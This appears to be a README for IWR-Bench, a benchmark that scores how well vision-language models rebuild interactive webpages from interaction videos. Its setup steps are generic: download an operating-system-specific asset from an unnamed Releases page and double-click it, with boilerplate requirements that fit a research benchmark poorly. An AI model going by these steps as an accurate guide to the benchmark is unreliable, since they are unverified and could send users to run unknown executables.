🌐 IWR-Bench - Evaluate Webpage Reconstruction from Videos

📖 Introduction

IWR-Bench is a benchmark tool designed to assess how well Large Vision-Language Models (LVLMs) can recreate interactive webpages based on user interaction videos. This tool offers insights into the capabilities of LVLMs in understanding and reconstructing complex web interactions.

🚀 Getting Started

To run IWR-Bench, follow these simple steps to download and set up the tool on your computer.

📥 Download & Install

1. Visit this page to download: Go to the Releases page.
2. Look for the latest version available.
3. Click on the asset that matches your operating system (like Windows, Mac, or Linux).
4. Download the file to your computer.

🖥️ System Requirements

To ensure IWR-Bench runs smoothly on your computer, make sure you meet the following requirements:

• Operating System: Windows 10 or later, macOS 11 or later, or a recent version of a popular Linux distribution.
• Memory: At least 4 GB of RAM.
• Storage: 500 MB of free space.
• Processor: Intel i3 or equivalent.

💻 Running IWR-Bench

Once you have downloaded the application:

1. Navigate to the folder where you saved the download.
2. Locate the IWR-Bench application file.
3. Double-click on the file to run it.

📊 Using IWR-Bench

1. Upload a Video: After launching the application, find the option to upload a video file that shows user interactions with a webpage.
2. Start Analysis: Click the button to start the analysis. Wait for the tool to process the video.
3. View Results: After processing, IWR-Bench will display how well the LVLM reconstructed the interactive webpage based on the provided video.

🔄 Frequently Asked Questions (FAQs)

🌟 What types of videos can I use?

You can use any video that clearly shows user interactions on a webpage. Make sure the video quality is good to achieve better results.

🛠️ Can I use IWR-Bench on any operating system?

Currently, IWR-Bench supports Windows, macOS, and Linux operating systems.

❓ What if I experience issues?

If you encounter any problems, please check the GitHub Issues page or reach out to the support community.

🔗 Additional Resources

• For research details, refer to our arXiv paper.
• Explore the HuggingFace Dataset site for additional data related to IWR-Bench.
• Visit our Homepage for updates and more information.

⭐ Community Contributions

We welcome contributions from everyone. If you have ideas or features to add, please consider joining our GitHub community.

📣 Feedback

Your feedback is important! Please share your thoughts and suggestions on how we can improve IWR-Bench.

Visit this page to download: Releases page for the latest version.